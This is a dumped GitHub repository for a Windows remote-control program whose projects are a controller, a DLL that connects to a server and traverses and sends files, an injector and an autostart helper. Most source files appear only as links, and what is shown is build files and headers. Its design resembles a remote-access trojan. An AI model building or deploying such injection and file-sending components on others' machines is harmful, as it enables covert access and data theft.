├── README.md
├── rmtctrl
├── Release
│ ├── autod.exe
│ ├── condll.dll
│ ├── inject.exe
│ └── rmtctrl.exe
├── autod
│ ├── autod.vcxproj
│ ├── autod.vcxproj.filters
│ └── main.cpp
├── condll
│ ├── MyMutex.cpp
│ ├── MyMutex.h
│ ├── SockSendFileManager.cpp
│ ├── SockSendFileManager.h
│ ├── condll.vcxproj
│ ├── condll.vcxproj.filters
│ ├── condll.vcxproj.user
│ ├── dllmain.cpp
│ ├── fileop.cpp
│ ├── fileop.h
│ ├── main.h
│ ├── mymalloc.cpp
│ ├── mymalloc.h
│ ├── socket_util.cpp
│ └── socket_util.h
├── inject
│ ├── inject.cpp
│ ├── inject.h
│ ├── inject.vcxproj
│ ├── inject.vcxproj.filters
│ └── main.cpp
├── rmtctrl.sln
└── rmtctrl
│ ├── resource.h
│ ├── rmtctrl.vcxproj
│ ├── rmtctrl.vcxproj.filters
│ ├── small.ico
│ ├── sunshine.aps
│ ├── sunshine.cpp
│ ├── sunshine.h
│ ├── sunshine.ico
│ ├── sunshine.rc
│ └── targetver.h
└── 远程控制.doc
/README.md:
--------------------------------------------------------------------------------
1 | # remote_control
2 | 一个简单的windows的远程控制程序
3 |
--------------------------------------------------------------------------------
/rmtctrl/Release/autod.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/Release/autod.exe
--------------------------------------------------------------------------------
/rmtctrl/Release/condll.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/Release/condll.dll
--------------------------------------------------------------------------------
/rmtctrl/Release/inject.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/Release/inject.exe
--------------------------------------------------------------------------------
/rmtctrl/Release/rmtctrl.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/Release/rmtctrl.exe
--------------------------------------------------------------------------------
/rmtctrl/autod/autod.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 15.0
23 | {2ADADDBE-AB2E-4658-A8F0-239F0F99D89D}
24 | autod
25 | 10.0.16299.0
26 |
27 |
28 |
29 | Application
30 | true
31 | v141
32 | MultiByte
33 |
34 |
35 | Application
36 | false
37 | v141
38 | true
39 | MultiByte
40 |
41 |
42 | Application
43 | true
44 | v141
45 | MultiByte
46 |
47 |
48 | Application
49 | false
50 | v141
51 | true
52 | MultiByte
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | Level3
76 | Disabled
77 | true
78 |
79 |
80 |
81 |
82 | Level3
83 | Disabled
84 | true
85 |
86 |
87 |
88 |
89 | Level3
90 | MaxSpeed
91 | true
92 | true
93 | false
94 |
95 |
96 | true
97 | true
98 |
99 |
100 |
101 |
102 | Level3
103 | MaxSpeed
104 | true
105 | true
106 | true
107 |
108 |
109 | true
110 | true
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
--------------------------------------------------------------------------------
/rmtctrl/autod/autod.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | 源文件
20 |
21 |
22 |
--------------------------------------------------------------------------------
/rmtctrl/autod/main.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/autod/main.cpp
--------------------------------------------------------------------------------
/rmtctrl/condll/MyMutex.cpp:
--------------------------------------------------------------------------------
1 | #include "MyMutex.h"
2 |
3 | void MyMutex::InitCS(CRITICAL_SECTION* cs)
4 | {
5 | InitializeCriticalSection(cs);
6 | }
7 |
8 | MyMutex::MyMutex(CRITICAL_SECTION* cs)
9 | {
10 | m_cs = cs;
11 | EnterCriticalSection(m_cs);
12 | }
13 |
14 |
15 | MyMutex::~MyMutex()
16 | {
17 | LeaveCriticalSection(m_cs);
18 | }
19 |
--------------------------------------------------------------------------------
/rmtctrl/condll/MyMutex.h:
--------------------------------------------------------------------------------
1 | #ifndef _MY_MUTEX_H_
2 | #define _MY_MUTEX_H_
3 |
4 | #include
5 |
6 | class MyMutex
7 | {
8 | public:
9 | static void InitCS(CRITICAL_SECTION* cs);
10 | MyMutex(CRITICAL_SECTION* cs);
11 | ~MyMutex();
12 | private:
13 | CRITICAL_SECTION* m_cs;
14 | };
15 |
16 | #endif // !_MY_MUTEX_H_
17 |
18 |
19 |
--------------------------------------------------------------------------------
/rmtctrl/condll/SockSendFileManager.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/condll/SockSendFileManager.cpp
--------------------------------------------------------------------------------
/rmtctrl/condll/SockSendFileManager.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/condll/SockSendFileManager.h
--------------------------------------------------------------------------------
/rmtctrl/condll/condll.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 15.0
23 | {B80E547B-F118-4B99-95DF-6CDA430A469F}
24 | condll
25 | 10.0.16299.0
26 |
27 |
28 |
29 | DynamicLibrary
30 | true
31 | v141
32 | MultiByte
33 |
34 |
35 | DynamicLibrary
36 | false
37 | v141
38 | true
39 | MultiByte
40 |
41 |
42 | Application
43 | true
44 | v141
45 | MultiByte
46 |
47 |
48 | Application
49 | false
50 | v141
51 | true
52 | MultiByte
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | Level3
76 | Disabled
77 | false
78 |
79 |
80 |
81 |
82 | Level3
83 | Disabled
84 | true
85 |
86 |
87 |
88 |
89 | Level3
90 | MaxSpeed
91 | true
92 | true
93 | false
94 |
95 |
96 | true
97 | true
98 |
99 |
100 |
101 |
102 | Level3
103 | MaxSpeed
104 | true
105 | true
106 | true
107 |
108 |
109 | true
110 | true
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
--------------------------------------------------------------------------------
/rmtctrl/condll/condll.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | 源文件
20 |
21 |
22 | 源文件
23 |
24 |
25 | 源文件
26 |
27 |
28 | 源文件
29 |
30 |
31 | 源文件
32 |
33 |
34 | 源文件
35 |
36 |
37 |
38 |
39 | 头文件
40 |
41 |
42 | 头文件
43 |
44 |
45 | 头文件
46 |
47 |
48 | 头文件
49 |
50 |
51 | 头文件
52 |
53 |
54 | 头文件
55 |
56 |
57 |
--------------------------------------------------------------------------------
/rmtctrl/condll/condll.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/rmtctrl/condll/dllmain.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/condll/dllmain.cpp
--------------------------------------------------------------------------------
/rmtctrl/condll/fileop.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/condll/fileop.cpp
--------------------------------------------------------------------------------
/rmtctrl/condll/fileop.h:
--------------------------------------------------------------------------------
1 | #ifndef _MY_FILE_OP_H_
2 | #define _MY_FILE_OP_H_
3 |
4 | #include "main.h"
5 |
6 | typedef bool(*pVisitFile)(const char* lpPath, int kind, void* data);
7 |
8 | bool TraverFolder(pVisitFile visit, const char* lpPath, void* data,int findsubdir);
9 |
10 | int MyWriteFile(FILE* f, char* buf, int len);
11 | int MyReadFile(FILE* f, char* buf, int len);
12 |
13 | #endif
--------------------------------------------------------------------------------
/rmtctrl/condll/main.h:
--------------------------------------------------------------------------------
1 | #ifndef _MY_MAIN_H_
2 | #define _MY_MAIN_H_
3 | #include
4 | #include
5 |
6 | #include
7 | #include "MyMutex.h"
8 | #include "mymalloc.h"
9 |
10 | #ifdef __cplusplus
11 | #define MEXPORT extern "C" __declspec (dllexport)
12 | #else
13 | #define MEXPORT __declspec (dllexport)
14 | #endif
15 |
16 | #define BUFFSIZE (1024*1024)
17 | #define SEVER_IP "127.0.0.1"
18 | //#define SEVER_IP "10.14.114.146"
19 |
20 | #define SEVER_FPORT 8888
21 | #define SEVER_PORT 8889
22 |
23 | typedef unsigned int _uint32;
24 |
25 | typedef struct _MOrder
26 | {
27 | _uint32 cmd;
28 | char data[MAX_PATH];
29 | }MOrder;
30 |
31 | void DoEveryThingYouWant(void*);
32 |
33 | void MySucConnect();
34 |
35 | bool MyVisitFile(const char* lpPath, int kind, void* data);
36 |
37 | #endif
--------------------------------------------------------------------------------
/rmtctrl/condll/mymalloc.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/condll/mymalloc.cpp
--------------------------------------------------------------------------------
/rmtctrl/condll/mymalloc.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | void* MyMalloc(size_t& size);
--------------------------------------------------------------------------------
/rmtctrl/condll/socket_util.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/condll/socket_util.cpp
--------------------------------------------------------------------------------
/rmtctrl/condll/socket_util.h:
--------------------------------------------------------------------------------
1 | #ifndef _MY_SOCKET_UTIL_H_
2 | #define _MY_SOCKET_UTIL_H_
3 |
4 | #include "main.h"
5 |
6 | typedef void (*LPAcceptProc)(void*);
7 |
8 | struct SocketInfo
9 | {
10 | SOCKET sock;
11 | sockaddr_in addr;
12 | int addrlen;
13 | void* data;
14 |
15 | SocketInfo()
16 | {
17 | addrlen = sizeof(sockaddr_in);
18 | data = NULL;
19 | }
20 | ~SocketInfo()
21 | {
22 | delete data ;
23 | }
24 | };
25 |
26 | class CSktUtil
27 | {
28 | public:
29 |
30 | static bool CSUInit();
31 | static int CSUCleanup();
32 |
33 | static int CSUConnect(SOCKET& s, char* addr, int port);
34 | static int CSUConnect(SOCKET& s, sockaddr_in& sa);
35 | static void CSUSucConnect(SOCKET& s, sockaddr_in& sa);
36 | static sockaddr_in CSUSucConnect(SOCKET & s, char* addr, int port);
37 |
38 | static int CSUClose(SOCKET s);
39 |
40 | static int CSURecv(SOCKET s, char* buf, int len);
41 | static int CSUSend(SOCKET s, char* buf, int len);
42 |
43 | static int CSUStartAndListen(SOCKET& s, int port);
44 | static int CSUStartAndListen(SOCKET& s, sockaddr_in& sa);
45 |
46 | static int CSUAccept(SOCKET s, LPAcceptProc fuc, void* data, bool& exit);
47 |
48 | private:
49 |
50 | };
51 |
52 |
53 | #endif
--------------------------------------------------------------------------------
/rmtctrl/inject/inject.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/inject/inject.cpp
--------------------------------------------------------------------------------
/rmtctrl/inject/inject.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/inject/inject.h
--------------------------------------------------------------------------------
/rmtctrl/inject/inject.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 15.0
23 | {0118C189-B24E-49BE-989A-369F310B448B}
24 | inject
25 | 10.0.16299.0
26 |
27 |
28 |
29 | Application
30 | true
31 | v141
32 | MultiByte
33 |
34 |
35 | Application
36 | false
37 | v141
38 | true
39 | MultiByte
40 |
41 |
42 | Application
43 | true
44 | v141
45 | MultiByte
46 |
47 |
48 | Application
49 | false
50 | v141
51 | true
52 | MultiByte
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | Level3
76 | Disabled
77 | false
78 |
79 |
80 |
81 |
82 | Level3
83 | Disabled
84 | true
85 |
86 |
87 |
88 |
89 | Level3
90 | MaxSpeed
91 | true
92 | true
93 | false
94 |
95 |
96 | true
97 | true
98 |
99 |
100 |
101 |
102 | Level3
103 | MaxSpeed
104 | true
105 | true
106 | true
107 |
108 |
109 | true
110 | true
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
--------------------------------------------------------------------------------
/rmtctrl/inject/inject.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | 源文件
20 |
21 |
22 | 源文件
23 |
24 |
25 |
26 |
27 | 头文件
28 |
29 |
30 |
--------------------------------------------------------------------------------
/rmtctrl/inject/main.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/inject/main.cpp
--------------------------------------------------------------------------------
/rmtctrl/rmtctrl.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.27004.2002
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "rmtctrl", "rmtctrl\rmtctrl.vcxproj", "{47F7C0E2-7C37-45B6-98A7-A712F05D41D4}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "condll", "condll\condll.vcxproj", "{B80E547B-F118-4B99-95DF-6CDA430A469F}"
9 | EndProject
10 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "autod", "autod\autod.vcxproj", "{2ADADDBE-AB2E-4658-A8F0-239F0F99D89D}"
11 | EndProject
12 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{0118C189-B24E-49BE-989A-369F310B448B}"
13 | EndProject
14 | Global
15 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
16 | Debug|x64 = Debug|x64
17 | Debug|x86 = Debug|x86
18 | Release|x64 = Release|x64
19 | Release|x86 = Release|x86
20 | EndGlobalSection
21 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
22 | {47F7C0E2-7C37-45B6-98A7-A712F05D41D4}.Debug|x64.ActiveCfg = Debug|x64
23 | {47F7C0E2-7C37-45B6-98A7-A712F05D41D4}.Debug|x64.Build.0 = Debug|x64
24 | {47F7C0E2-7C37-45B6-98A7-A712F05D41D4}.Debug|x86.ActiveCfg = Debug|Win32
25 | {47F7C0E2-7C37-45B6-98A7-A712F05D41D4}.Debug|x86.Build.0 = Debug|Win32
26 | {47F7C0E2-7C37-45B6-98A7-A712F05D41D4}.Release|x64.ActiveCfg = Release|x64
27 | {47F7C0E2-7C37-45B6-98A7-A712F05D41D4}.Release|x64.Build.0 = Release|x64
28 | {47F7C0E2-7C37-45B6-98A7-A712F05D41D4}.Release|x86.ActiveCfg = Release|Win32
29 | {47F7C0E2-7C37-45B6-98A7-A712F05D41D4}.Release|x86.Build.0 = Release|Win32
30 | {B80E547B-F118-4B99-95DF-6CDA430A469F}.Debug|x64.ActiveCfg = Debug|x64
31 | {B80E547B-F118-4B99-95DF-6CDA430A469F}.Debug|x64.Build.0 = Debug|x64
32 | {B80E547B-F118-4B99-95DF-6CDA430A469F}.Debug|x86.ActiveCfg = Debug|Win32
33 | {B80E547B-F118-4B99-95DF-6CDA430A469F}.Debug|x86.Build.0 = Debug|Win32
34 | {B80E547B-F118-4B99-95DF-6CDA430A469F}.Release|x64.ActiveCfg = Release|x64
35 | {B80E547B-F118-4B99-95DF-6CDA430A469F}.Release|x64.Build.0 = Release|x64
36 | {B80E547B-F118-4B99-95DF-6CDA430A469F}.Release|x86.ActiveCfg = Release|Win32
37 | {B80E547B-F118-4B99-95DF-6CDA430A469F}.Release|x86.Build.0 = Release|Win32
38 | {2ADADDBE-AB2E-4658-A8F0-239F0F99D89D}.Debug|x64.ActiveCfg = Debug|x64
39 | {2ADADDBE-AB2E-4658-A8F0-239F0F99D89D}.Debug|x64.Build.0 = Debug|x64
40 | {2ADADDBE-AB2E-4658-A8F0-239F0F99D89D}.Debug|x86.ActiveCfg = Debug|Win32
41 | {2ADADDBE-AB2E-4658-A8F0-239F0F99D89D}.Debug|x86.Build.0 = Debug|Win32
42 | {2ADADDBE-AB2E-4658-A8F0-239F0F99D89D}.Release|x64.ActiveCfg = Release|x64
43 | {2ADADDBE-AB2E-4658-A8F0-239F0F99D89D}.Release|x64.Build.0 = Release|x64
44 | {2ADADDBE-AB2E-4658-A8F0-239F0F99D89D}.Release|x86.ActiveCfg = Release|Win32
45 | {2ADADDBE-AB2E-4658-A8F0-239F0F99D89D}.Release|x86.Build.0 = Release|Win32
46 | {0118C189-B24E-49BE-989A-369F310B448B}.Debug|x64.ActiveCfg = Debug|x64
47 | {0118C189-B24E-49BE-989A-369F310B448B}.Debug|x64.Build.0 = Debug|x64
48 | {0118C189-B24E-49BE-989A-369F310B448B}.Debug|x86.ActiveCfg = Debug|Win32
49 | {0118C189-B24E-49BE-989A-369F310B448B}.Debug|x86.Build.0 = Debug|Win32
50 | {0118C189-B24E-49BE-989A-369F310B448B}.Release|x64.ActiveCfg = Release|x64
51 | {0118C189-B24E-49BE-989A-369F310B448B}.Release|x64.Build.0 = Release|x64
52 | {0118C189-B24E-49BE-989A-369F310B448B}.Release|x86.ActiveCfg = Release|Win32
53 | {0118C189-B24E-49BE-989A-369F310B448B}.Release|x86.Build.0 = Release|Win32
54 | EndGlobalSection
55 | GlobalSection(SolutionProperties) = preSolution
56 | HideSolutionNode = FALSE
57 | EndGlobalSection
58 | GlobalSection(ExtensibilityGlobals) = postSolution
59 | SolutionGuid = {166814F6-9CCF-4669-A252-BCA38A53D44E}
60 | EndGlobalSection
61 | EndGlobal
62 |
--------------------------------------------------------------------------------
/rmtctrl/rmtctrl/resource.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/rmtctrl/resource.h
--------------------------------------------------------------------------------
/rmtctrl/rmtctrl/rmtctrl.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 15.0
23 | {47F7C0E2-7C37-45B6-98A7-A712F05D41D4}
24 | rmtctrl
25 | 10.0.16299.0
26 |
27 |
28 |
29 | Application
30 | true
31 | v141
32 | MultiByte
33 |
34 |
35 | Application
36 | false
37 | v141
38 | true
39 | MultiByte
40 |
41 |
42 | Application
43 | true
44 | v141
45 | MultiByte
46 |
47 |
48 | Application
49 | false
50 | v141
51 | true
52 | MultiByte
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | Level3
76 | Disabled
77 | false
78 |
79 |
80 |
81 |
82 | Level3
83 | Disabled
84 | true
85 |
86 |
87 |
88 |
89 | Level3
90 | MaxSpeed
91 | true
92 | true
93 | false
94 |
95 |
96 | true
97 | true
98 |
99 |
100 |
101 |
102 | Level3
103 | MaxSpeed
104 | true
105 | true
106 | true
107 |
108 |
109 | true
110 | true
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
--------------------------------------------------------------------------------
/rmtctrl/rmtctrl/rmtctrl.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | 头文件
20 |
21 |
22 | 头文件
23 |
24 |
25 | 头文件
26 |
27 |
28 | 头文件
29 |
30 |
31 | 头文件
32 |
33 |
34 | 头文件
35 |
36 |
37 | 头文件
38 |
39 |
40 |
41 |
42 | 资源文件
43 |
44 |
45 | 资源文件
46 |
47 |
48 |
49 |
50 | 源文件
51 |
52 |
53 | 源文件
54 |
55 |
56 | 源文件
57 |
58 |
59 | 源文件
60 |
61 |
62 | 源文件
63 |
64 |
65 | 源文件
66 |
67 |
68 |
69 |
70 | 资源文件
71 |
72 |
73 |
--------------------------------------------------------------------------------
/rmtctrl/rmtctrl/small.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/rmtctrl/small.ico
--------------------------------------------------------------------------------
/rmtctrl/rmtctrl/sunshine.aps:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/rmtctrl/sunshine.aps
--------------------------------------------------------------------------------
/rmtctrl/rmtctrl/sunshine.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/rmtctrl/sunshine.cpp
--------------------------------------------------------------------------------
/rmtctrl/rmtctrl/sunshine.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include "resource.h"
4 |
5 | void MyAccept(void*);
6 | void AcceptProc(void*);
7 |
8 | void MyFileAccept(void*);
9 | void FileAcceptProc(void* data);
10 |
11 | bool MyVisitFile(const char* lpPath, int kind, void* data);
--------------------------------------------------------------------------------
/rmtctrl/rmtctrl/sunshine.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/rmtctrl/sunshine.ico
--------------------------------------------------------------------------------
/rmtctrl/rmtctrl/sunshine.rc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/rmtctrl/rmtctrl/sunshine.rc
--------------------------------------------------------------------------------
/rmtctrl/rmtctrl/targetver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | // 包括 SDKDDKVer.h 将定义可用的最高版本的 Windows 平台。
4 |
5 | // 如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h,并将
6 | // 将 _WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。
7 |
8 | #include
9 |
--------------------------------------------------------------------------------
/远程控制.doc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x00b/remote_control/70899d4c1ac2ad314524349c46369073aefae220/远程控制.doc
--------------------------------------------------------------------------------